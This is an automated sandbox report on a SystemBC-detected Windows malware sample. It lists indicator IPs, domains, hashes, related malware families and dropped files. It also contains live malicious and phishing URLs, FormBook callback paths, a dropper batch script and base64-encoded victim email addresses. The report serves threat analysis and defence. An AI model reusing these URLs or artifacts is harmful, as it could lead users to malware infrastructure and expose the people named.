208.91.197.132	deepcds.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
92.205.48.138	securesmtp.gelbdesign.de	Germany	8972	GD-EMEA-DC-SXB1DE	false
209.202.254.90	www.lycos.it	United States	6354	LYCOSUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1443997
Start date and time:	2024-05-19 17:25:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@20/17@443/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 136 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 17.42.251.41
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, st-smtp.mail.me.com.akadns.net, ctldl.windowsupdate.com, smtp.me.com.akadns.net, smtp.mail.me.com.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:26:00	API Interceptor	2x Sleep call for process: svchsot.exe modified
11:26:01	API Interceptor	1x Sleep call for process: psdirwa.exe modified
16:26:02	Task Scheduler	Run new task: psdirwa path: C:\ProgramData\iihfve\psdirwa.exe s>start2

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.152.32.10	NEW PO.exe	Get hash	malicious	HawkEye MailPassView	Browse
64.136.52.44	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse
13.248.169.48	http://domclickext.xyz	Get hash	malicious	Unknown	Browse	domclickext.xyz/lander
	P240842_P240843.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.5redbull.com/ht3d/?_Td4vT=ZL3P5PGPdr&LjqdxdN0=ySrzTuqbYiyLAwBY6em+9ZmTsohlgC2Wb5uHAaPcVSTcIXHVq5qBaAngv1HA17NCZbzO
	narud#U017ebenicu 018BH2024.exe	Get hash	malicious	FormBook	Browse	www.playtoown.shop/dd20/?FRcPAJY=z+kmDmqXOSaonEhRZs5Wl2PzvdAdpd9CMMNx8+wPdH51C9fUA+EkzIY35EvCfc9TN9UxgbNWJQ==&KXiD2=yvwhLLV07x4hUne0
	8VRN7Hjoig.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.nativegarden.net/ht3d/?9r4P2=wUVaOlJZblJdDdMRjLfemxLLWBRd24us117/s2Iam/T8vs3Es0GOt4bvK3USgri2KA/F&wDH=FtxdAxlh54YtUPG0
	Forligsmnd.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	ZIMUXIA8376.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.cma-graphic.com/jn17/?SP=6lHhpfe8&tVg8=9Ou77NL77p8F9HiORCSmxznYIzrQQFBu1yiqfrAP/QJp1599Ec6KdUgdoqegsJyahEvf
	hj3YCvtlg7.exe	Get hash	malicious	FormBook	Browse	www.owletbaby.shop/vr01/?R2M=NjOhAHzH5LxTCNrP&uTm4=om+RAj8+1U0Z4Q5rkk8b3M9JRGUJ2euP6f07OPQVfzk2A/ET/uqRAGThuS9IxznZs+QL
	Purchase Order#44231.exe	Get hash	malicious	FormBook	Browse	www.owletbaby.shop/vr01/?DVo0=YlUPPT_xC8f&tXR=om+RAj9K10xplgkf4U8b3M9JRGUJ2euP6f07OPQVfzk2A/ET/uqRAGThuSpikjnaupQL
	5AmzSYESuY.exe	Get hash	malicious	FormBook	Browse	www.timeis.shop/kh11/?sp=zhUfYloIFn33K9lN+ZdwjaCZo5UNKS20khOYsMHkuhRQ0nfgX4+kvc+XCvr0I1Fv9DqK&SP=cnxh5xAH
	Purchase Order#23113.exe	Get hash	malicious	FormBook	Browse	www.owletbaby.shop/vr01/?YN9P-lUP=om+RAj9K10xplgkf4U8b3M9JRGUJ2euP6f07OPQVfzk2A/ET/uqRAGThuSpikjnaupQL&Vr=L4nHMf5x
77.78.119.119	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse
77.78.119.119	z8s945rPmZ.exe	Get hash	malicious	SystemBC	Browse
195.121.65.26	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse
195.121.65.26	#U56de#U8986#Uff1aP O.exe	Get hash	malicious	AgentTesla	Browse
209.17.116.10	82YWwkVfIS.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	woodnet.us/admin/
103.226.222.162	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse
	https://pssoc.com.au/oudg/?bWF0dGhldy5zY2hhZWZlckBhbWNuZXR3b3Jrcy5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://pssoc.com.au/oudg/?Y2FybWVsbGEuYnJpc2NvZS1uZXZlbHNAY2FscGluZS5jb20	Get hash	malicious	Unknown	Browse
	AP-PaySummary.htm	Get hash	malicious	HTMLPhisher	Browse
	https://bs.serving-sys.com/Serving/adServer.bs?cn=brd&PluID=0&Pos=19994044187419&EyeblasterID=1086486580&clk=9&ctick=41319&rtu=https://barrettco.net/si2PBM2WO3ndy9fi2PshFe5rx0qkWO3nk17WO3WO3rbrandsdy9s3RWO3BM2	Get hash	malicious	Unknown	Browse
	https://barrettco.net/ni2Plsdy9frWO3wFe5i2Pnx0qswi2Pssli2PfFe5dy9s3RWO3BM2	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp-relay-centrumsk.centrum.cz	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	46.255.231.19
5x2.de	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	104.26.6.119
walla.com	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	13.32.87.77
smtp.dka.mailcore.net	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	81.7.169.194
smtp.dka.mailcore.net	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	194.19.134.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CASABLANCA-ASInternetCollocationProviderCZ	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	77.78.119.119
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	109.123.254.43
	z8s945rPmZ.exe	Get hash	malicious	SystemBC	Browse	77.78.119.119
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	109.123.254.43
	http://tracking.elastic.iscarcup.com/tracking/click?d=XVOGkKKIFI1BUi5gqgZHAdRPhk99njZvP0qXh2IpArKp9RzCSjeoWkfJDrjbcvw75j380eQ4qSrYjhK4RegFgVWSX5L2beQO2AeFGF72kzLV5bUDHAc9_x1G5mw8AznhlHtuepCFbAQZbboWjeiG8YOae_yZBP5-luynay2YDr9Jmf0rVcJIVEgp8xRayU7B_A2	Get hash	malicious	Unknown	Browse	81.0.249.226
	tP8j8ZJdua.elf	Get hash	malicious	Mirai	Browse	81.0.244.234
	https://futurehvacindia.com/HmF/zJqRTbTA3E8NkEdNG3XSYYpT2CPHqoF9DTsq4XxUrAiFitNdJPZxAsKByKFHL2Bbj7EGed34VRP3gvaoT2ErdEZV8ZcoXh7qUKmkmsJiezE9HjtrHmhzSvnLEPpvK6Khe5ctQxfCrvAgAVcoyVijtR	Get hash	malicious	HTMLPhisher	Browse	77.78.107.185
	dwY04o9CiU.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	85.239.238.79
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	109.123.254.43
	DHL- Shipping invoice.exe	Get hash	malicious	AgentTesla	Browse	109.123.254.43
NECN-1-611CA	d3j5Qle8Zv.elf	Get hash	malicious	Unknown	Browse	142.17.155.62
	Gb5Zd5Ird3.elf	Get hash	malicious	Mirai	Browse	142.17.155.80
	x86.elf	Get hash	malicious	Mirai	Browse	138.119.110.119
	p8F35SRiO8.elf	Get hash	malicious	Mirai	Browse	198.164.203.16
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	142.17.180.41
	EnUwCpy04H.elf	Get hash	malicious	Mirai	Browse	142.17.155.82
	ZSH0qEadae.elf	Get hash	malicious	Mirai	Browse	131.202.152.9
	0RIqU4l2hL.elf	Get hash	malicious	Mirai	Browse	138.119.120.84
	skid.arm5.elf	Get hash	malicious	Mirai	Browse	138.73.231.200
	3nDJFXklMW.elf	Get hash	malicious	Gafgyt, Mirai	Browse	138.73.51.248
AS-NETZEROUS	vm6XYZzWOd.exe	Get hash	malicious	PureLog Stealer, SystemBC	Browse	64.136.52.50
	sZyq3DvYmc.elf	Get hash	malicious	Mirai	Browse	216.225.206.201
	inWTsLmzAw.elf	Get hash	malicious	Mirai	Browse	216.225.166.111
	mpsl.elf	Get hash	malicious	Mirai	Browse	64.136.0.87
	Y1s85ucZ3T.elf	Get hash	malicious	Unknown	Browse	64.136.23.253
	newtpp.exe	Get hash	malicious	Phorpiex	Browse	64.136.52.37
	kEPGwkdSJ2.elf	Get hash	malicious	Mirai, Moobot	Browse	216.225.203.163
	im16t4wCvU.elf	Get hash	malicious	Mirai	Browse	208.67.184.204
	xd.x86.elf	Get hash	malicious	Mirai	Browse	216.225.2.49
	9Y4uA5Be8N.elf	Get hash	malicious	Mirai	Browse	64.136.0.91
INET-ASIT	caA474oBY2.elf	Get hash	malicious	Mirai	Browse	194.20.55.188
	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	212.239.127.90
	hQmSR2hm9z.elf	Get hash	malicious	Mirai, Gafgyt	Browse	194.20.55.164
	EdAIk9WUtL.elf	Get hash	malicious	Unknown	Browse	194.177.100.58
	GHrwbsrdR8.elf	Get hash	malicious	Mirai	Browse	194.185.168.229
	zsGh6GOugh.elf	Get hash	malicious	Mirai	Browse	194.20.55.172
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	194.185.210.98
	HT4gSnS9Kq.elf	Get hash	malicious	Mirai	Browse	194.185.168.246
	RjeN8EvCIF.elf	Get hash	malicious	Mirai	Browse	213.92.116.120
	skid.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	194.177.124.19
DEFENSE-NETUS	https://dlr.xng.mybluehost.me/Tsho/net/login.php	Get hash	malicious	Unknown	Browse	205.178.187.43
	WI6a5vSCOb.exe	Get hash	malicious	Phorpiex	Browse	206.188.196.31
	https://yxl.oha.mybluehost.me/DO/net/login.php	Get hash	malicious	Unknown	Browse	205.178.187.43
	jPLqxoxi1w.elf	Get hash	malicious	Mirai	Browse	170.158.122.36
	_Contrato_E2024A493865_PDF.js	Get hash	malicious	Unknown	Browse	206.188.196.37
	https://www.idofea.org/idea-std-1010-inspection-standard	Get hash	malicious	Unknown	Browse	209.17.116.160
	mrPTE618YB.exe	Get hash	malicious	PureLog Stealer	Browse	107.162.186.76
	http://winterwoodonline.com	Get hash	malicious	Unknown	Browse	205.178.189.129
	https://sprl.in/wBwUGK0	Get hash	malicious	Unknown	Browse	206.188.193.48
	KY9D34Qh8d.exe	Get hash	malicious	Unknown	Browse	206.188.192.173

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\main\7z.dll	6Yl34Sv8ZJ.exe	Get hash	malicious	Xmrig	Browse
	cXwjp02Fln.exe	Get hash	malicious	DCRat, Vidar	Browse
	[V2]launcher.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	Software_1.30.1.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse
	Loader.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse
	Setup.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse
	eeZJsTqr0S.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	T3J0MOgmFq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	8YK8NgtZii.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\ProgramData\iihfve\psdirwa.exe	file.exe	Get hash	malicious	SystemBC	Browse
C:\ProgramData\iihfve\psdirwa.exe	file.exe	Get hash	malicious	SystemBC	Browse

Created / dropped Files

C:\ProgramData\iihfve\psdirwa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\svchsot.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.871561394910096
Encrypted:	false
SSDEEP:	384:rC+AHNZw/WnlrobdglGbLMoy+yG+yir1dV:r0gklrydgQP1yO67V
MD5:	4F01C3D7439DDE153FF0110A26E2A71C
SHA1:	40D7203AD4E1FD40E13A56E6F747EE480740873C
SHA-256:	CFB1FD0ADF528FCF14647CF3FCD85FB7E4FDDD2167B36F9E8B2424B62453DF28
SHA-512:	513D09B80E1AC80813BC691E71CDF5348478157350E43B9DAED27741B7F5A7A16B2AE4D88EE9951395747C7F2A93FF0C1F2C3753A9E3BAD2E2607767A1E3D28E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\ProgramData\iihfve\psdirwa.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..r..o!..o!..o!..\|!..o!..}!..o!Rich..o!................PE..L.....Z].....................................@....@..........................`..............................................\|A.......................................................................................@..\|............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...,....P.......<..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 6Yl34Sv8ZJ.exe, Detection: malicious, Browse Filename: cXwjp02Fln.exe, Detection: malicious, Browse Filename: [V2]launcher.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Software_1.30.1.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: eeZJsTqr0S.exe, Detection: malicious, Browse Filename: T3J0MOgmFq.exe, Detection: malicious, Browse Filename: 8YK8NgtZii.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2320375
Entropy (8bit):	5.902544395086989
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/x0:R9kqGu7okoZscCnf0/Zs9D
MD5:	98A4638D9C34816D7B9CECA56379EF36
SHA1:	734338AB7319CD8C62683B3D94B623290851FFA4
SHA-256:	7B4AD59C5DB9A9B287F0B678CE5D7BFA1E9E11492E08F4D3F9E3D134B920237E
SHA-512:	B781F51995363E8E715A5E38DEE35F73932962EA070ED85EC070EE537E81BFC69A46C8CA36B15D490D4E6BC1DB583CD10D944BF0F975959AD4549BD52CCDFF93
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	8368
Entropy (8bit):	7.968538046275064
Encrypted:	false
SSDEEP:	192:q6GUcIlJWWO3y3htydizdvZF3Qh7wRhxtP5CYqM/:tPJo3otyafVxtP5t/
MD5:	87B235104D0B38A943C6344C93C95FCE
SHA1:	9EBC8C3025C90C655632CBA4AE303E49C58D9565
SHA-256:	98AE32890E4BDD3BB33FA098C63F78638F6949984053D31D187F59DC331CEFFD
SHA-512:	A249A562DCEA901B6C030AFA82712FC1652E20981BAB3187F7EDE21930C1F85570D2D2AA03E09FE17303ED52211DB752E1119DD22F4671D684FD90451E57DC8E
Malicious:	false
Preview:	PK........g..X..ro. ...@......svchsot.exe.Yyx\S..of..tbF...:. U......[...vJ.clU3.MML.....}W.#..K.".P.Am.g).... ..9..L.>.....g..s.}..#..N!...tZ...>..o?........6.E;...O:.l..'._r...%..vz...R...i..N..s.!.SO.Z:3//...q.E..._.>..^..Wb...vj!..'..$.X..]..5...#..q...6A....Y.R^...X/.3.8.3q.....g.Bt...S..._.g...1.n...F...........Y...\\|g.3U:S..m..TK.q\|m.......k..5.NT...+.........._0.S...?..gr.m..vU....X..Ab...S......R.._.Cb.c..:6ofd0....\.m.M......@..%...Y..Q..\|..rc...f...}.z......&....`...A.t.......b..C..`+.W.$...Y...,.b(....+.cs@...<=.:..'..WH....gH.I.....6p.>.......,Z...P1......@:.q..b....'.0%t..<..m..#...O SU[0...:.P......N.B.}.....K^u.......J...u...cM....Z......{....T..:.a..A..0.Z.....)......%.r.:z......4".....1.3.Wj.2.Q.5...^..x...(5..[..\|....'.e.\|...i..Aq...G.k.V)T..P..G..X.=G..;$.6v..".........6.e.Z.%...j..HV.......i.kV.iqZrr...+"[&.O..&.a.%(i.`.=."......$....6.'.T..0`...u..j.f..Y..5.Y;...*......l....XK69:..\..X!.9e...S..%>.d.q.V.H.

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	8522
Entropy (8bit):	7.9558452214550055
Encrypted:	false
SSDEEP:	192:86GUcIlJWWO3y3htydizdvZF3Qh7wRhxtP5CYqMs:LPJo3otyafVxtP5ts
MD5:	0A0993FEAF5F1F5A5784348A4E4093C3
SHA1:	6079C00BDCAB68054BB0B0E7FF7D0C1B5E8ED22E
SHA-256:	9DDA9848257C29F5C463E46F712025FE61088E80162048B27C6DC840B97D0BBE
SHA-512:	496E1D474B5643981C570289BA9EDE578A9E8C52CE0E476511E745B6BBD11C2DED86911738FA5A38D29A4D080213F2BB0B9A42B5C05C87E34C8D22120A6DC33E
Malicious:	false
Preview:	PK........m..X..... ... ......file_1.zipPK........g..X..ro. ...@......svchsot.exe.Yyx\S..of..tbF...:. U......[...vJ.clU3.MML.....}W.#..K.".P.Am.g).... ..9..L.>.....g..s.}..#..N!...tZ...>..o?........6.E;...O:.l..'._r...%..vz...R...i..N..s.!.SO.Z:3//...q.E..._.>..^..Wb...vj!..'..$.X..]..5...#..q...6A....Y.R^...X/.3.8.3q.....g.Bt...S..._.g...1.n...F...........Y...\\|g.3U:S..m..TK.q\|m.......k..5.NT...+.........._0.S...?..gr.m..vU....X..Ab...S......R.._.Cb.c..:6ofd0....\.m.M......@..%...Y..Q..\|..rc...f...}.z......&....`...A.t.......b..C..`+.W.$...Y...,.b(....+.cs@...<=.:..'..WH....gH.I.....6p.>.......,Z...P1......@:.q..b....'.0%t..<..m..#...O SU[0...:.P......N.B.}.....K^u.......J...u...cM....Z......{....T..:.a..A..0.Z.....)......%.r.:z......4".....1.3.Wj.2.Q.5...^..x...(5..[..\|....'.e.\|...i..Aq...G.k.V)T..P..G..X.=G..;$.6v..".........6.e.Z.%...j..HV.......i.kV.iqZrr...+"[&.O..&.a.%(i.`.=."......$....6.'.T..0`...u..j.f..Y..5.Y;...*......

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1665835
Entropy (8bit):	7.997252329097496
Encrypted:	true
SSDEEP:	24576:sbI/7AAb+JQl3Vd02kOC/l5X4/KiROMdWbBkDC6SX39qbwK1ZNKdvLIJvQ27kW:sujCK3D0AC/l5mwbBkDWYb1ZN4UJ9oW
MD5:	D73B913C2B884A2AA163394EA0D1BB6D
SHA1:	144C5BC242B6DE11F7CAA22887412E54A2C44274
SHA-256:	C09EEEE2D091C2DC32DE745E858E538C2A9582479F11BB28702E71A03E86239C
SHA-512:	322EDD1668985B5D3FB51AC35748131B57F8FDE6E5094CF2FEEEF5ED718AE117BDF17DC6B7399025C7AF9E3C914D80642FD653AF9877E9DC0751D0F7596DD637
Malicious:	false
Preview:	PK........m..Xc./..I...g#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.871561394910096
Encrypted:	false
SSDEEP:	384:rC+AHNZw/WnlrobdglGbLMoy+yG+yir1dV:r0gklrydgQP1yO67V
MD5:	4F01C3D7439DDE153FF0110A26E2A71C
SHA1:	40D7203AD4E1FD40E13A56E6F747EE480740873C
SHA-256:	CFB1FD0ADF528FCF14647CF3FCD85FB7E4FDDD2167B36F9E8B2424B62453DF28
SHA-512:	513D09B80E1AC80813BC691E71CDF5348478157350E43B9DAED27741B7F5A7A16B2AE4D88EE9951395747C7F2A93FF0C1F2C3753A9E3BAD2E2607767A1E3D28E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
